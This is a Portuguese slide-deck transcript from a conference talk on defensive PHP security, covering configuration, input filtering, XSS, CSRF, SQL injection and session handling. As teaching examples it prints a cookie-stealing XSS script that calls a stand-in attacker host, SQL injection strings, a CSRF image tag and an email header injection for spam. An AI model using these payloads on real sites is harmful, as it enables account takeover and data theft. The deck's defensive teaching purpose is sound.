[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

154
PHP no Campo de Batalha Segurança Avançada e Programação Defensiva Rafael Jaques @rafajaques

Transcript of [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Page 1: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

PHP no Campo de Batalha Segurança Avançada e Programação Defensiva

Rafael Jaques @rafajaques

Page 2: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

“Porque Deus amou o mundo de tal maneira que deu o seu Filho Unigênito, para que todo aquele que nele crê não pereça,

mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao mundo não para condenar o mundo, mas para que o mundo

fosse salvo por meio dele.” (João 3.16-17)

Page 3: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Rafael Jaques

Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul.

Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior.

Desenvolvedor web e viciado em segurança.

Page 4: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

www.php-rs.org

Page 5: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Slides da Palestra

Page 6: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

1 Segurança da informação

Page 7: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Pontos-chave da SI

Integridade Confidencialidade

Disponibilidade

Page 8: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

COMO VOU DESENVOLVER UMA APLICAÇÃO COM

TUDO ISSO?!?!?!?!?!?!

Page 9: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Vamos por partes!

Page 10: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Tudo começa com planejamento!

Page 11: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

2 Planejamento

Page 12: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

PlanejamentoProjete o seu sistema

Estude antes de implementar

Revise o que foi feito

Conheça o seu ambiente

Page 13: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

PlanejamentoProjete o seu sistema

Estude antes de implementar

Revise o que foi feito

Conheça o seu ambiente

Page 14: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Conheça o seu ambiente

Page 15: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

php.ini

Conheça o seu ambiente

phpinfo()

php.net/manual/ini.php

Page 16: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Conheça o seu ambiente

Page 17: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Altere as configurações do php.ini

ini_set() httpd.conf

.htaccess php.ini

Conheça o seu ambiente

Page 18: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Gerenciamento de erros do PHP

display_errors

log_errors error_log

Conheça o seu ambiente

Page 19: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Conhecer o sistema inclui saber os

problemas do servidor!

Page 20: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Problemas no servidor

Defesa em profundidade

Page 21: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Problemas no servidor

Lei do menor privilégio

Page 22: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

3 Melhorando o código desenvolvido

Page 23: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Como desenvolver um bom código?

Page 24: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Tudo começa com

BOAS PRÁTICAS

Page 25: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Warning: Cannot modify header information - headers already sent by (output started at /path/to/script.php:1) in script.php on line 55

Omita as tags de fechamento

Boas práticas

Page 26: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Utilize extensões consistentes

Boas práticas

.php

.inc.php

.inc.php~

.bak

httpd.conf AddType application/x-httpd-php .php .phtml

Page 27: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

DRY Don’t repeat yourself

Boas práticas

Page 28: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

== != === Cuidado ao efetuar comparações

Boas práticas

“1” == 1

“1” === 1

true == 1

True

False

true === 1

NULL == false

NULL === falseTrue

True

False

False

Page 29: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Nunca edite arquivos em produção

Boas práticas

Page 30: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Funções perigosas

exec( )Não execute bobagem no seu sistema

shell_exec( )

system( ) passthru( )

proc_*( )

escapeshellcmd( ) escapeshellarg( )

Page 31: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

eval( )Não execute bobagem no seu código

Funções perigosas

Page 32: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Seu ambiente também precisa de cuidado e atenção

Page 33: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Configuração do ambiente

HeadersPodem denunciar o seu servidor

expose_php php.ini

Page 34: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Apache

ServerTokens

Prod Major Minor Min Os Full

Configuração do ambiente

Page 35: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Gerenciar os erros pode

salvar seu dia!

Page 36: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Gerenciamento de erros

display_errors

error_reporting

log_errors

error_log

Mostrar erros na tela

Nível de erro mostrado

Logar erros

Arquivo de log

Page 37: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

set_error_handler( )

error_log( )

Indica uma função para manipular erros

Loga um erro personalizado

Gerenciamento de erros

Page 38: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

4 Filtragem de dados

Page 39: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Filtragem de dados

Bypass

Mistake Origin

Page 40: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

isset( )is_array( )

is_bool( )

is_float( )

is_int( )

is_null( )

is_numeric( )

is_object( )

is_string( )

Filtragem de dados

Page 41: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Type CastingAssegure-se dos tipos de dados

$numero = (int) $variavel;

$numero = (float) $variavel;

Filtragem de dados

Page 42: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Type Casting

Assegure-se dos tipos de dados

$numero = settype($variavel, ‘integer’);

$bool = settype($variavel, ‘boolean’);

$texto = settype($variavel, ‘string’);

Filtragem de dados

Page 43: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Type Casting

Assegure-se dos tipos de dados

$numero = intval($variavel);

$numero = floatval($variavel);

$texto = strval($variavel);

Filtragem de dados

Page 44: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ValidateSanitizefilter_var( )

Validating && SanitizingBloqueie valores indesejados

Filtragem de dados

Page 45: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

filter_var( )

php.net/filter.filters

FILTER_VALIDATE_* FILTER_SANITIZE_*

Validação de dados Verifica se

determinado valor encontra-se dentro dos parâmetros esperados.

Limpeza de dados Retira de um

determinado valor todos os caracteres que

não são permitidos.

Page 46: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Validaçãofilter_var( , )$valor CONSTANTE_FILTRO

Valor filtrado

bool(false)

Page 47: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ValidaçãoFILTER_VALIDATE_INT

“7”

7

0

true

false

int(7)

int(7)

int(0)

int(1)

bool(false)

“10 teste”

“palavra”

-5

3.1

bool(false)

bool(false)

int(-5)

bool(false)

bool(false)+0 || -0

Page 48: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ValidaçãoFILTER_VALIDATE_EMAIL

[email protected]" string(12) “[email protected]” “[email protected]" bool(false)

5 bool(false) “1@2” bool(false)

“phpit.com.br” bool(false) “joao quem”@site.com bool(false)

Page 49: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ValidaçãoFILTER_VALIDATE_FLOAT

php.net/filter.filters.validate

FILTER_VALIDATE_BOOLEAN

FILTER_VALIDATE_IP

FILTER_VALIDATE_URL

Page 50: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Limpeza

FILTER_SANITIZE_URL

http://phpit.com.br

http://phpit.com.br£

phpitº.com.br

br¶

§

string(19) "http://phpit.com.br"

string(19) "http://phpit.com.br"

string(12) "phpit.com.br"

string(2) "br"

string(0) ""

Page 51: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

FILTER_SANITIZE_STRING

uma string string(10) "uma string"

string(12) "uma string *"

string(21) "uma string<tag>"

Limpeza

<tag>uma string *

<tag>uma string&lt;tag&gt;

Page 52: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

LimpezaFILTER_SANITIZE_EMAIL

php.net/filter.filters.validate

FILTER_SANITIZE_SPECIAL_CHARS

FILTER_SANITIZE_ENCODED

FILTER_SANITIZE_NUMBER_INT

Page 53: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Cuidados com

Formulários

Page 54: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Spoofed Form Submissions

Cuidados com formulários

Page 55: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Spoofed HTTP Requests

Cuidados com formulários

Page 56: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Abuso de form mail

Cuidados com formulários

Page 57: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Abuso de form mail<?php

$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";

$para = "[email protected]";

$assunto = "Contato via site"; $corpo = $_POST['mensagem'];

mail($para, $assunto, $corpo, $cabecalhos);

Page 58: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Abuso de form mail

From: Fulaninho <[email protected]>

To: [email protected]

Subject: Contato via site

Esta é a mensagem do e-mail

E s p e r a d o

Fulaninho\nBcc: [email protected], [email protected],

Page 59: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Abuso de form mail

From: Fulaninho Bcc: [email protected], [email protected], <[email protected]>

To: [email protected]

Subject: Contato via site

Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!

P o s s í v e l

Page 60: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

5 Upload de arquivos

Page 61: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

MIME Type do $_FILES

Upload de arquivos

Page 62: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Algoritmo de

Análise de Conteúdo

Page 63: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Verificar o tipo da imagem

exif_imagetype( )

Upload de arquivos

Page 64: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

php.net/function.exif-imagetype

Upload de arquivos

Page 65: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Ressalvar imagens

Upload de arquivos

Page 66: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Diretivas de upload

upload_max_filesize

post_max_size

Upload de arquivos

Page 67: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

rafajaques  Palestra  de  PHP

exemplo.txt

Upload de arquivos

Page 68: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Array  (        [arquivo]  =>  Array              (                    [name]  =>  exemplo.txt                    [type]  =>  text/plain                    [tmp_name]  =>  /tmp/php3IdMTx                    [error]  =>  0                    [size]  =>  33              )  )

Upload de arquivos

Page 69: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

POST  /upload.php  HTTP/1.1  Host:  localhost  Content-­‐Type:  multipart/form-­‐data;  boundary=-­‐-­‐-­‐-­‐12345  Content-­‐Length:  413  

-­‐-­‐-­‐-­‐12345  Content-­‐Disposition:  form-­‐data;  name="arquivo";  filename="exemplo.txt"  Content-­‐Type:  text/plain  

rafajaques  Palestra  de  PHP  

-­‐-­‐-­‐-­‐12345-­‐-­‐

Upload de arquivos

Page 70: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Movendo arquivos enviados

is_uploaded_file( )

move_uploaded_file( )

Upload de arquivos

Page 71: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

6 Injeção de código

Page 72: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

XSSCross-Site Scripting

Page 73: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

XSS Cross-Site Scripting

<script>

document.location = "http://sitedomal.com?c=" + document.cookie

</script>

Page 74: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

XSS Cross-Site Scripting

Filtrar dados externos

Utilize as funções de filtro

Utilize uma white-list

Page 75: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

htmlentities( ) strip_tags( )

XSS Cross-Site Scripting

Utilize as funções de filtro

utf8_decode( ) filter_var( )

Page 76: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

XSS Cross-Site Scripting

Cuidado com injeção de CSS

expression( ) url( ) Métodosespecíficos moz-

binding

Page 77: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

CSRFCross-Site Request Forgery

Page 78: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

CSRF Cross-Site Request Forgery

http://meusite.com/voto.php?id=1

<img src="http://meusite.com/voto.php?id=1" />

Page 79: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

CSRF Cross-Site Request Forgery

Exigir um token

Solicitar reautenticação

Prefira POST em vez de GET

Limite o tempo de sessão

Verificar Referer Force o uso de seus formulários

uniqid( )

$_SERVER['HTTP_REFERER']

Page 80: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Outros tipos de injeçãoXPath LDAP

Bibliotecas de terceiros

Upload de arquivos

Page 81: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Indo além da

Validação de dados

Page 82: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Além da validação

Regras de negócio

Filtrou a entrada? Filtre a saída!

Não confie nos cookies!

Page 83: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

7 Segurança em bancos de dados

Page 84: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SGBDs suportados pelo PHP

php.net/refs.database

dBaseDB++CUBRID

FrontBaseFireBird/InterbasefilePro

IngresInformixIBM DB2

mSQLMongoMaxDB

OracleMySQLM$ SQL

PostgreSQLParadoxOvrimos SQL

Tokyo TyrantSybaseSQLite

Page 85: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Conceitos básicos de

segurança em

Bancos de Dados

Page 86: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Lei do

Menor Privilégio

Page 87: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Não permita

Acesso Remoto

Page 88: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Prefira utilizar

UTF-8

Page 89: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Escapar caracteres

não é seguro

mysql_real_escape_string( )

addslashes( )

Page 90: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQL e Blind SQL

Injection

Page 91: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQLInjection

Page 92: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQL Injection

Injeção de código SQL arbitrário dentro de uma consulta legítima.

Page 93: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQL Injection

Page 94: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQL Injection

1' OR 1='1

Page 95: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQL Injection

fulano'# ou fulano' --

Page 96: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

SQLInjection

Blind

Page 97: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Injeção de código arbitrário sem visualização da saída do banco.

Blind SQL Injection

Page 98: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

sqlmap

Page 99: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 100: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Prepared Statements

e ORMs

Page 101: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Prepared Statements

Declarações preparadas

Compila as consultas SQL

Utiliza placeholders

Page 102: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Declarações preparadas

INSERT INTO produtos (nome, preco) VALUES (?, ?)

Prepared Statements

Page 103: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ORMObject-relational mapping

Reduz a escrita de SQL

Acesso ao banco através de classes

Page 104: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

ORMs

Page 105: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Exposição de

credenciais

Page 106: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

O que acontece se alguém tiver

acesso aos seus arquivos?

Page 107: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

E se o PHP parar de

funcionar?

Page 108: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

E se houver um include mal

programado?

Page 109: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

8 Cookies e sessions

Page 110: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Cookies são client-side

Sessions são server-side

Cookies e Sessions

Page 111: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Cliente Servidor

Requisição HTTP

Resposta HTTP + Set Cookie

Requisição HTTP

Resposta HTTP

Cookies e Sessions

Page 112: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Servidor

session_start()Verifica se a sessão

existe

Procura pelo SESSID em um cookie

Procura pelo SESSID numa querystring

Busca os dados e cria a $_SESSION

Sim

Sim

Não

Cria uma nova SESSID

Não

Cookies e Sessions

Page 113: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Roubo de Cookie(Cookie Theft)

Page 114: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Não costumam existir

vulnerabilidades de

navegador para roubo

de cookies

Page 115: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Tome cuidado com

XSS

Page 116: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 117: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 118: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Cookies também

podem ser roubados

com sniffers

Proteja utilizando HTTPS

Page 119: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Vulnerabilidades

de Sessão

Page 120: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Exposição de Sessão

Dados de sessão podem ser

visualizados via sniff quando

não criptografado com HTTPS

Page 121: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Hospedagens compartilhadas podem

vazar dados dentro dos diretórios com

permissões de leitura a todos

Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão

Exposição de Sessão

Page 122: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Não é o roubo de um

ID de sessão.

É a imposição de um!

Fixação de Sessão

Page 123: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Não permita que sejam utilizados SID não gerados pela aplicação

Fixação de Sessão

Page 124: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Gere um novo SID em

cada requisição

Utilize session_regenerate_id()

Páginas com muito tráfego acabam gerando SID inválidos

Fixação de Sessão

Page 125: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Roubo de Sessão(Session Hijacking)

Page 126: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Roubo de Sessão

É possível fixar um SID,

forjar ou até mesmo

capturar um cookie!

Page 127: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Algumas sugestões para evitar roubo de sessão (tente

equilibrar usabilidade e segurança):

Gerar tokens únicos por usuário

Verificar User-Agent e IP

Utilizar sessões apenas via cookies

Roubo de Sessão

Page 128: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Não sacrifique a usabilidade do projeto!

Page 129: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 130: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

não

Page 131: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Boas

práticas

Page 132: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Nunca utilize

cookies

para autenticaçãoPrefira cookies para informações não-vitais

Page 133: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Utilize sessões sempre em

conjunto com cookies

Ajuda a prevenir o roubo de sessão

Page 134: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

pagina.php?PHPSESSID=1234

Page 135: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

php.ini

session.use_cookiessession.use_only_cookiesGET / HTTP/1.1Host: algumsite.comUser-Agent: Mozilla/5.0Accept: image/png,image/*;q=0.8,*/*;q=0.5Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278dCache-Control: max-age=0

Page 136: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Cuidado com hospedagem

compartilhada ou dois sites

no mesmo servidor

Pode ocorrer choque de sessão

Page 137: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 138: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Utilize session_destroy() e

não apenas remova o

cookie

Um cookie roubado pode reinicializar uma sessão

Page 139: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Destrua a sessão antes de

alterar o nível de

permissão de usuário

autenticado

Impede que uma sessão de guest seja utilizada para um usuário autenticado

Page 140: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

9 Tráfego na web

Page 141: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Fluxo do tráfego

Cliente Servidor

Requisição HTTP

Resposta HTTP

Requisição HTTP

Resposta HTTP

Page 142: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Sniffers em redes abertas

Page 143: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Wireshark

Page 144: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Page 145: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Configurando um certificado SSL

Page 146: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

http://www.phpit.com.br/artigos/configurando-ssl-servidor-de-desenvolvimento-apache.phpit

Gerando um certificado para testes

Page 147: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Alternando entre HTTP e HTTPS

Page 148: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Leves diferenças na

$_SERVER sob HTTPS

Page 149: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

$_SERVER[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 80[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www

HTTP

[HTTPS] => on[SSL_TLS_SNI] => localhost[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 443[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www

HTTPS

Page 150: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Force a utilização do

protocolo HTTPS

Via aplicação ou via apache

Page 151: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Monitorar logs

Manter PHP atualizado

Frameworks

Segurança física

Últimas dicas

Page 152: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Sempre que possível, utilize código refatorado

Exposição phpinfo()

Cuidados ao enviar e-mails Segurança no sistema de arquivos

Últimas dicas

Page 153: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Obrigado!Rafael Jaques

[email protected]

phpit.com.br

@rafajaques

slideshare.net/rafajaques

youtube.com/realphpit

w

@

Page 154: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

Imagens utilizadas

• https://flic.kr/p/5Ndwd8

• https://flic.kr/p/i3NEP6